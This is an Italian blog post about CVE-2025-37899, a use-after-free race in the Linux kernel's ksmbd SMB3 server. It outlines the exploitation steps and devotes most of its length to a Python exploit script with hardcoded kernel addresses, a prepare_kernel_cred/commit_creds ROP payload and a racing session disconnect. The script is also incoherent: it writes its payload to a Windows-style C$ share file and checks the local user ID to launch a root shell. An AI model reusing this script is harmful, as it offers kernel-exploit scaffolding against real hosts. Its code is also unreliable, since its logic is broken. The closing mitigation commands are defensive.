In un recente post pubblicato da Leonardo Tamiano nel canale Telegram Esadecimale , è stata segnalata la scoperta di una nuova vulnerabilità zero-day nel kernel Linux: CVE-2025-37899 .
Questa falla riguarda l’implementazione SMB3 server-side (ksmbd) del kernel Linux, ed è causata da una condizione di Use-After-Free (UAF) legata alla gestione delle sessioni multi-connessione. Lo scopritore, Sean Heelan , ha descritto dettagliatamente il processo di individuazione tramite strumenti automatizzati come o3.
Articolo originale:
How I used o3 to find CVE-2025-37899
Vulnerabilità:
Il problema emerge durante la gestione concorrente di più connessioni appartenenti alla stessa sessione SMB3.
La mancanza di corretta sincronizzazione tra le operazioni di LOGOFF e l’utilizzo interno del campo sess->user permette a un utente remoto autenticato di generare una race condition .
Questo può portare alla liberazione (free) di una struttura dati mentre ancora in uso, aprendo la strada a un overflow controllato e all’esecuzione di codice arbitrario nel contesto del kernel.
Di seguito alcuni dei punti chiave che un attaccante dovrà affrontare per trasformare questa UAF in un exploit reale:
Creazione di connessioni parallele : Stabilire due o più connessioni alla stessa sessione SMB3 (con lo stesso Session ID).
Triggering della race condition : Disconnettere una connessione mentre si mantiene l'altra attiva per generare il momento critico di accesso alla struttura libera.
Heap grooming : Sovrascrivere la memoria liberata con dati controllati, ad esempio un payload ROP-style.
Controllo del flusso di esecuzione : Reindirizzare l’esecuzione verso funzioni privilegiate come prepare_kernel_cred(0) e commit_creds().
Bypass protezioni : Superare meccanismi come SMEP, KASLR o altre difese del kernel.
Disclaimer
Questo post è puramente a scopo tecnico ed educativo. Non viene fornito alcun exploit funzionante o direttamente utilizzabile. L’obiettivo è analizzare una potenziale via di attacco basata sulla descrizione della vulnerabilità. Qualsiasi utilizzo illecito delle informazioni qui riportate è sotto la piena responsabilità dell’utente.
Il seguente snippet Python illustra la logica base dello sfruttamento…Si tratta di pseudocodice semplificato e non eseguibile così com’è, ma serve a mostrare i passaggi fondamentali.
#!/usr/bin/env python3
from pwn import *
import threading
import time
from smbprotocol.connection import Connection
from smbprotocol.session import Session
from smbprotocol.tree import TreeConnect
from smbprotocol.open import Open
import os
import sys
# Indirizzi leaked dal kernel (aggiustare in base al target)
addr_commit_creds = 0xffffffff810a1f30
addr_prepare_kernel_cred = 0xffffffff810a2190
addr_pop_rdi_ret = 0xffffffff810b6d65 # Esempio di gadget ROP: pop rdi; ret
addr_move_to_rsp = 0xffffffff81000000 # Placeholder: stack pivot, da trovare
# Configurazione target
TARGET_IP = "192.168.1.100"
USERNAME = "guest"
PASSWORD = ""
DOMAIN = ""
# Connessione SMB custom
def establish_smb_connection():
try:
client_guid = os.urandom(16)
connection = Connection(uuid.uuid4(), TARGET_IP, 445)
connection.connect()
session = Session(connection, USERNAME, PASSWORD, require_signing=False)
session.connect()
print(f"[+] Connessione SMB stabilita con {session.username}@{TARGET_IP}")
return connection, session
except Exception as e:
print(f"[-] Connessione SMB fallita: {e}")
sys.exit(1)
# Costruisce il payload ROP-style per chiamare prepare_kernel_cred(0) -> commit_creds()
def build_exploit_payload():
payload = b"A" * 120 # Overflow fino all'IP registrato
if addr_pop_rdi_ret:
payload += p64(addr_pop_rdi_ret) # pop rdi; ret
payload += p64(0x0) # argomento: 0 (root)
payload += p64(addr_prepare_kernel_cred) # prepare_kernel_cred(0)
payload += p64(addr_pop_rdi_ret) # pop rdi; ret
payload += p64(0xdeadbeefcafebabe) # fake pointer (sarà il cred_struct result)
payload += p64(addr_commit_creds) # commit_creds(prepare_kernel_cred(0))
else:
payload += p64(addr_prepare_kernel_cred)
payload += p64(0x0)
payload += p64(addr_commit_creds)
return payload
# Funzione per inviare il payload malformato via SMB
def send_exploit(session):
try:
tree = TreeConnect(session, r"\\%s\C$" % TARGET_IP)
tree.connect()
exploit_file = Open(tree, "exploit_trigger")
exploit_file.create(
desired_access=0x00120089,
file_attributes=0,
share_access=0,
create_disposition=3,
create_options=0x40,
impersonation_level=2,
security_flags=0,
oplock_level=0,
createContexts=[]
)
payload = build_exploit_payload()
exploit_file.write(payload, offset=0)
exploit_file.close()
print("[+] Payload inviato.")
except Exception as e:
print(f"[-] Errore nell'invio del payload: {e}")
# Simulazione della UAF
def trigger_uaf(sess1, sess2):
def free_session():
time.sleep(0.001)
print("[*] Disconnessione sessione per liberare memoria...")
sess1.disconnect()
def spray_or_overwrite():
print("[*] Invio payload per sovrascrivere...")
send_exploit(sess2)
t1 = threading.Thread(target=spray_or_overwrite)
t2 = threading.Thread(target=free_session)
t1.start()
t2.start()
t1.join()
t2.join()
# Main
if __name__ == "__main__":
print("[+] Connessione SMB in corso...")
conn1, sess1 = establish_smb_connection()
conn2, sess2 = establish_smb_connection()
print("[+] Triggering UAF e iniezione payload...")
trigger_uaf(sess1, sess2)
print("[+] Controllo se l'elevazione è avvenuta...")
if os.getuid() == 0:
print("[+] Root acquisito! Lancio shell root.")
os.system("/bin/bash -p")
else:
print("[-] Fallimento nell'acquisire privilegi root.")
Nota: Per funzionare, questo codice richiederebbe indirizzi validi, info-leak, bypass SMEP e configurazioni molto specifiche del sistema target.
Mitigazioni Consigliate
Chiunque non utilizzi ksmbd può disattivare il servizio immediatamente:
sudo rmmod ksmbd
echo "blacklist ksmbd" | sudo tee /etc/modprobe.d/blacklist-ksmbd.conf
sudo update-initramfs -u
sudo systemctl stop ksmbd
sudo systemctl disable ksmbd
sudo ufw deny in to any port 445 proto tcp
Conclusione
CVE-2025-37899 rappresenta un nuovo promemoria sull’importanza di monitorare attentamente l’introduzione di componenti esposti a rete direttamente nel kernel. La complessità del codice SMB e la sua diffusione rendono questa vulnerabilità particolarmente critica.
Seguire gli aggiornamenti ufficiali del kernel è essenziale. Nel frattempo, la disattivazione di moduli non necessari e la limitazione dell’accesso a porte sensibili (come la 445/TCP) rimane una pratica consigliata.
Commenti, correzioni tecniche o approfondimenti sono benvenuti!